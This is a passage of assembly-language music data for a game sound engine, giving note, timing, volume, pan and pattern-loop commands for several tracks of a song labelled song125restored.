, Gn2 .byte W12 .byte N21 , Fn2 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N10 , Fn2 .byte W12 .byte Gn2 .byte W06 .byte PEND ; 003 ---------------------------------------- .byte W06 .byte Gs2 .byte W12 .byte N64 , Ds2 .byte W78 ; 004 ---------------------------------------- .byte W06 .byte VOICE , 8 .byte N06 , Cs4 .byte W12 .byte Cn5 .byte W12 .byte Gs4 .byte W12 .byte Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn4 .byte W12 .byte As3 .byte W12 .byte Gs3 .byte W06 ; 005 ---------------------------------------- .byte W06 .byte Ds3 .byte W12 .byte Cs3 .byte W12 .byte Cn4 .byte W12 .byte Cs3 .byte W12 .byte Ds3 .byte W12 .byte Fn3 .byte W12 .byte Gs3 .byte W12 .byte As3 .byte W06 ; 006 ---------------------------------------- .byte W06 .byte Ds3 .byte W12 .byte VOICE , 27 .byte N21 , Cn2 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W06 ; 007 ---------------------------------------- .byte PATT .word @song125restored_5_001 ; 008 ---------------------------------------- .byte PATT .word @song125restored_5_002 ; 009 ---------------------------------------- .byte W06 .byte N10 , Gs2 , v120 .byte W12 .byte N32 , As2 .byte W36 .byte N92 , Cn3 .byte W42 ; 010 ---------------------------------------- .byte W66 .byte VOICE , 8 .byte N06 , Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn5 .byte W06 ; 011 ---------------------------------------- .byte W06 .byte As4 .byte W12 .byte Gs4 .byte W12 .byte Gn4 .byte W12 .byte Fn4 .byte W12 .byte Gn4 .byte W12 .byte Fn4 .byte W12 .byte VOICE , 27 .byte N11 , Ds1 .byte W12 .byte Fn1 .byte W06 ; 012 ---------------------------------------- .byte W06 .byte Gn1 .byte W12 .byte N32 , Gs1 .byte W36 .byte Ds2 .byte W36 .byte Cs2 .byte W06 ; 013 ---------------------------------------- @song125restored_5_013: .byte W30 .byte N21 , Fs2 , v120 .byte W24 .byte N05 , Fn2 .byte W06 .byte En2 .byte W06 .byte N32 , Ds2 .byte W30 .byte PEND ; 014 ---------------------------------------- @song125restored_5_014: .byte W06 .byte N32 , Gs2 , v120 .byte W36 .byte N05 , En2 .byte W06 .byte Ds2 .byte W06 .byte En2 .byte W06 .byte Fs2 .byte W06 .byte Gs2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte PEND ; 015 ---------------------------------------- .byte Cs3 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte N32 , Ds3 .byte W36 .byte Cs3 .byte W36 .byte As2 .byte W06 ; 016 ---------------------------------------- .byte W30 .byte N21 , Gn2 .byte W24 .byte N10 , En2 .byte W12 .byte N32 , Ds2 .byte W30 ; 017 ---------------------------------------- .byte W06 .byte Cs2 .byte W36 .byte As1 .byte W36 .byte N05 , Cs1 .byte W06 .byte Dn1 .byte W06 .byte Ds1 .byte W06 ; 018 ---------------------------------------- .byte En1 .byte W06 .byte Fs1 .byte W06 .byte Gn1 .byte W06 .byte N32 , Gs1 .byte W36 .byte Ds2 .byte W36 .byte Cs2 .byte W06 ; 019 ---------------------------------------- .byte PATT .word @song125restored_5_013 ; 020 ---------------------------------------- .byte PATT .word @song125restored_5_014 ; 021 ---------------------------------------- .byte N05 , Cs3 , v120 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte En2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 ; 022 ---------------------------------------- .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 ; 023 ---------------------------------------- .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte N21 , Gn1 .byte W18 ; 024 ---------------------------------------- .byte W92 .byte W02 .byte Cn2 .byte W02 ; 025 ---------------------------------------- @song125restored_5_025: .byte W22 .byte N10 , Cs2 , v120 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W24 .byte N02 .byte W02 .byte PEND ; 026 ---------------------------------------- @song125restored_5_026: .byte W01 .byte N02 , Gn2 , v120 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N32 , Fn2 .byte W36 .byte N21 , Cn2 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W14 .byte PEND ; 027 ---------------------------------------- .byte W10 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N10 , Fn2 .byte W12 .byte Gn2 .byte W12 .byte Gs2 .byte W12 .byte N64 , Ds2 .byte W02 ; 028 ---------------------------------------- .byte W80 .byte W02 .byte VOICE , 8 .byte N06 , Cs4 .byte W12 .byte Cn5 .byte W02 ; 029 ---------------------------------------- .byte W10 .byte Gs4 .byte W12 .byte Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn4 .byte W12 .byte As3 .byte W12 .byte Gs3 .byte W12 .byte Ds3 .byte W12 .byte Cs3 .byte W02 ; 030 ---------------------------------------- .byte W10 .byte Cn4 .byte W12 .byte Cs3 .byte W12 .byte Ds3 .byte W12 .byte Fn3 .byte W12 .byte Gs3 .byte W12 .byte As3 .byte W12 .byte Ds3 .byte W12 .byte VOICE , 27 .byte N21 , Cn2 .byte W02 ; 031 ---------------------------------------- .byte PATT .word @song125restored_5_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_5_026 ; 033 ---------------------------------------- .byte W10 .byte N10 , Gn2 , v120 .byte W12 .byte N21 , Fn2 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N10 , Fn2 .byte W12 .byte Gn2 .byte W12 .byte Gs2 .byte W12 .byte N32 , As2 .byte W02 ; 034 ---------------------------------------- .byte W32 .byte W02 .byte N92 , Cn3 .byte W12 .byte VOICE , 8 .byte W48 .byte W02 ; 035 ---------------------------------------- .byte W44 .byte W02 .byte N06 , Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn5 .byte W12 .byte As4 .byte W12 .byte Gs4 .byte W02 ; 036 ---------------------------------------- .byte W10 .byte Gn4 .byte W12 .byte Fn4 .byte W12 .byte Gn4 .byte W12 .byte Fn4 .byte W12 .byte VOICE , 27 .byte N11 , Ds1 .byte W12 .byte Fn1 .byte W12 .byte Gn1 .byte W12 .byte N32 , Gs1 .byte W02 ; 037 ---------------------------------------- @song125restored_5_037: .byte W32 .byte W02 .byte N32 , Ds2 , v120 .byte W36 .byte Cs2 .byte W24 .byte W02 .byte PEND ; 038 ---------------------------------------- @song125restored_5_038: .byte W10 .byte N21 , Fs2 , v120 .byte W24 .byte N05 , Fn2 .byte W06 .byte En2 .byte W06 .byte N32 , Ds2 .byte W36 .byte Gs2 .byte W14 .byte PEND ; 039 ---------------------------------------- .byte W22 .byte N05 , En2 .byte W06 .byte Ds2 .byte W06 .byte En2 .byte W06 .byte Fs2 .byte W06 .byte Gs2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte Cs3 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte N32 , Ds3 .byte W02 ; 040 ---------------------------------------- .byte W32 .byte W02 .byte Cs3 .byte W36 .byte As2 .byte W24 .byte W02 ; 041 ---------------------------------------- .byte W10 .byte N21 , Gn2 .byte W24 .byte N10 , En2 .byte W12 .byte N32 , Ds2 .byte W36 .byte Cs2 .byte W14 ; 042 ---------------------------------------- .byte W22 .byte As1 .byte W36 .byte N05 , Cs1 .byte W06 .byte Dn1 .byte W06 .byte Ds1 .byte W06 .byte En1 .byte W06 .byte Fs1 .byte W06 .byte Gn1 .byte W06 .byte N32 , Gs1 .byte W02 ; 043 ---------------------------------------- .byte PATT .word @song125restored_5_037 ; 044 ---------------------------------------- .byte PATT .word @song125restored_5_038 ; 045 ---------------------------------------- .byte W22 .byte N05 , En2 , v120 .byte W06 .byte Ds2 .byte W06 .byte En2 .byte W06 .byte Fs2 .byte W06 .byte Gs2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte Cs3 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte En2 .byte W02 ; 046 ---------------------------------------- .byte W04 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W02 ; 047 ---------------------------------------- .byte W04 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W02 ; 048 ---------------------------------------- .byte W04 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte N21 , Gn1 .byte W36 .byte W02 ; 049 ---------------------------------------- .byte W92 .byte W03 .byte VOICE , 27 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 27 .byte BENDR , 12 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte MOD , 0 .byte BENDR , 12 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte MOD , 0 .byte BEND , c_v+0 .byte GOTO .word @song125restored_5 ;**************** Track 6 (Midi-Chn.6) ****************; @song125restored_6: .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 10 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BEND , c_v+0 .byte N32 , Ds2 , v088 .byte W36 .byte N16 , Fn2 .byte W24 .byte N10 .byte W12 .byte N32 , Ds2 .byte W24 ; 001 ---------------------------------------- @song125restored_6_001: .byte W12 .byte N32 , Cs2 , v088 .byte W36 .byte Ds2 .byte W36 .byte N16 , Fn2 .byte W12 .byte PEND ; 002 ---------------------------------------- @song125restored_6_002: .byte W12 .byte N10 , Fn2 , v088 .byte W12 .byte N32 , Ds2 .byte W36 .byte Cs2 .byte W36 .byte PEND ; 003 ---------------------------------------- @song125restored_6_003: .byte N32 , Ds2 , v088 .byte W36 .byte N16 , Fn2 .byte W24 .byte N10 .byte W12 .byte N32 , Ds2 .byte W24 .byte PEND ; 004 ---------------------------------------- @song125restored_6_004: .byte W12 .byte N32 , Cs2 , v088 .byte W36 .byte N68 , Ds2 .byte W48 .byte PEND ; 005 ---------------------------------------- .byte W24 .byte As1 .byte W72 ; 006 ---------------------------------------- .byte PATT .word @song125restored_6_003 ; 007 ---------------------------------------- .byte PATT .word @song125restored_6_001 ; 008 ---------------------------------------- .byte PATT .word @song125restored_6_002 ; 009 ---------------------------------------- .byte PATT .word @song125restored_6_003 ; 010 ---------------------------------------- .byte PATT .word @song125restored_6_004 ; 011 ---------------------------------------- .byte W24 .byte N68 , As1 , v088 .byte W72 ; 012 ---------------------------------------- .byte N10 , Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Cs3 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte As2 .byte W12 .byte N10 .byte W12 ; 013 ---------------------------------------- .byte N10 .byte W12 .byte Bn2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Cs3 .byte W12 ; 014 ---------------------------------------- .byte N10 .byte W12 .byte N10 .byte W12 .byte As2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Bn2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 ; 015 ---------------------------------------- .byte As2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gn2 .byte W12 .byte N10 .byte W12 ; 016 ---------------------------------------- .byte N10 .byte W12 .byte Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte As2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gs2 .byte W12 ; 017 ---------------------------------------- .byte N10 .byte W12 .byte N10 .byte W12 .byte Gn2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte En2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 ; 018 ---------------------------------------- .byte N04 , Ds2 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 ; 019 ---------------------------------------- .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 ; 020 ---------------------------------------- .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 ; 021 ---------------------------------------- .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 ; 022 ---------------------------------------- .byte As1 .byte W06 .byte Fs1 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte Bn1 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 ; 023 ---------------------------------------- .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte N22 , Gn1 .byte W24 .byte N22 .byte W12 ; 024 ---------------------------------------- .byte W76 .byte N32 , Ds2 .byte W20 ; 025 ---------------------------------------- @song125restored_6_025: .byte W16 .byte N16 , Fn2 , v088 .byte W24 .byte N10 .byte W12 .byte N32 , Ds2 .byte W36 .byte Cs2 .byte W08 .byte PEND ; 026 ---------------------------------------- @song125restored_6_026: .byte W28 .byte N32 , Ds2 , v088 .byte W36 .byte N16 , Fn2 .byte W24 .byte N10 .byte W08 .byte PEND ; 027 ---------------------------------------- @song125restored_6_027: .byte W04 .byte N32 , Ds2 , v088 .byte W36 .byte Cs2 .byte W36 .byte Ds2 .byte W20 .byte PEND ; 028 ---------------------------------------- .byte PATT .word @song125restored_6_025 ; 029 ---------------------------------------- .byte W28 .byte N68 , Ds2 , v088 .byte W68 ; 030 ---------------------------------------- .byte W04 .byte As1 .byte W72 .byte N32 , Ds2 .byte W20 ; 031 ---------------------------------------- .byte PATT .word @song125restored_6_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_6_026 ; 033 ---------------------------------------- .byte PATT .word @song125restored_6_027 ; 034 ---------------------------------------- .byte PATT .word @song125restored_6_025 ; 035 ---------------------------------------- .byte W28 .byte N68 , Ds2 , v088 .byte W68 ; 036 ---------------------------------------- .byte W04 .byte As1 .byte W72 .byte N10 , Gs2 .byte W12 .byte N10 .byte W08 ; 037 ---------------------------------------- .byte W04 .byte N10 .byte W12 .byte Cs3 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte As2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Bn2 .byte W08 ; 038 ---------------------------------------- .byte W04 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Cs3 .byte W12 .byte N10 .byte W12 .byte N10 .byte W08 ; 039 ---------------------------------------- .byte W04 .byte As2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Bn2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte As2 .byte W12 .byte N10 .byte W08 ; 040 ---------------------------------------- .byte W04 .byte N10 .byte W12 .byte Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gn2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gs2 .byte W08 ; 041 ---------------------------------------- .byte W04 .byte N10 .byte W12 .byte N10 .byte W12 .byte As2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte Gs2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W08 ; 042 ---------------------------------------- .byte W04 .byte Gn2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte En2 .byte W12 .byte N10 .byte W12 .byte N10 .byte W12 .byte N04 , Ds2 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W02 ; 043 ---------------------------------------- .byte W04 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W02 ; 044 ---------------------------------------- .byte W04 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W02 ; 045 ---------------------------------------- .byte W04 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W02 ; 046 ---------------------------------------- .byte W04 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Fs1 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W02 ; 047 ---------------------------------------- .byte W04 .byte Cs2 .byte W06 .byte Bn1 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W02 ; 048 ---------------------------------------- .byte W04 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte N22 , Gn1 .byte W24 .byte N22 .byte W32 ; 049 ---------------------------------------- .byte W92 .byte W03 .byte VOICE , 10 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 10 .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 41*song125restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song125restored_6 ;**************** Track 7 (Midi-Chn.7) ****************; @song125restored_7: .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 10 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BEND , c_v+0 .byte N56 , Gs2 , v052 .byte W60 .byte N11 , As2 .byte W12 .byte N32 , Gn2 .byte W24 ; 001 ---------------------------------------- @song125restored_7_001: .byte W12 .byte N32 , Fn2 , v052 .byte W36 .byte N56 , Gs2 .byte W48 .byte PEND ; 002 ---------------------------------------- @song125restored_7_002: .byte W12 .byte N11 , As2 , v052 .byte W12 .byte N32 , Gn2 .byte W36 .byte Gs2 .byte W36 .byte PEND ; 003 ---------------------------------------- @song125restored_7_003: .byte N56 , Cn3 , v052 .byte W60 .byte N11 , As2 .byte W12 .byte N32 , Gn2 .byte W24 .byte PEND ; 004 ---------------------------------------- @song125restored_7_004: .byte W12 .byte N32 , Fn2 , v052 .byte W36 .byte N68 , Gn2 , v088 .byte W48 .byte PEND ; 005 ---------------------------------------- @song125restored_7_005: .byte W24 .byte N56 , Ds2 , v088 .byte W60 .byte N11 , Cs2 , v052 .byte W12 .byte PEND ; 006 ---------------------------------------- .byte N56 , Gs2 .byte W60 .byte N11 , As2 .byte W12 .byte N32 , Gn2 .byte W24 ; 007 ---------------------------------------- .byte PATT .word @song125restored_7_001 ; 008 ---------------------------------------- .byte PATT .word @song125restored_7_002 ; 009 ---------------------------------------- .byte PATT .word @song125restored_7_003 ; 010 ---------------------------------------- .byte PATT .word @song125restored_7_004 ; 011 ---------------------------------------- .byte PATT .word @song125restored_7_005 ; 012 ---------------------------------------- @song125restored_7_012: .byte N11 , Ds3 , v052 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte PEND ; 013 ---------------------------------------- .byte PATT .word @song125restored_7_012 ; 014 ---------------------------------------- .byte PATT .word @song125restored_7_012 ; 015 ---------------------------------------- .byte PATT .word @song125restored_7_012 ; 016 ---------------------------------------- .byte PATT .word @song125restored_7_012 ; 017 ---------------------------------------- .byte PATT .word @song125restored_7_012 ; 018 ---------------------------------------- .byte W02 .byte VOL , 12*song125restored_mvl/mxv .byte W01 .byte 11*song125restored_mvl/mxv .byte W15 .byte N04 , Gs1 , v088 .byte W02 .byte VOL , 12*song125restored_mvl/mxv .byte W04 .byte N04 , As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 ; 019 ---------------------------------------- .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 ; 020 ---------------------------------------- .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 ; 021 ---------------------------------------- .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 ; 022 ---------------------------------------- .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Fs1 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte Bn1 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 ; 023 ---------------------------------------- .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte N22 , Gn1 .byte W24 ; 024 ---------------------------------------- .byte W44 .byte W03 .byte VOL , 39*song125restored_mvl/mxv .byte W28 .byte W01 .byte N56 , Gs2 , v052 .byte W20 ; 025 ---------------------------------------- @song125restored_7_025: .byte W40 .byte N11 , As2 , v052 .byte W12 .byte N32 , Gn2 .byte W36 .byte Fn2 .byte W08 .byte PEND ; 026 ---------------------------------------- @song125restored_7_026: .byte W28 .byte N56 , Gs2 , v052 .byte W60 .byte N11 , As2 .byte W08 .byte PEND ; 027 ---------------------------------------- @song125restored_7_027: .byte W04 .byte N32 , Gn2 , v052 .byte W36 .byte Gs2 .byte W36 .byte N56 , Cn3 .byte W20 .byte PEND ; 028 ---------------------------------------- .byte PATT .word @song125restored_7_025 ; 029 ---------------------------------------- .byte W28 .byte N68 , Gn2 , v088 .byte W68 ; 030 ---------------------------------------- .byte W04 .byte N56 , Ds2 .byte W60 .byte N11 , Cs2 , v052 .byte W12 .byte N56 , Gs2 .byte W20 ; 031 ---------------------------------------- .byte PATT .word @song125restored_7_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_7_026 ; 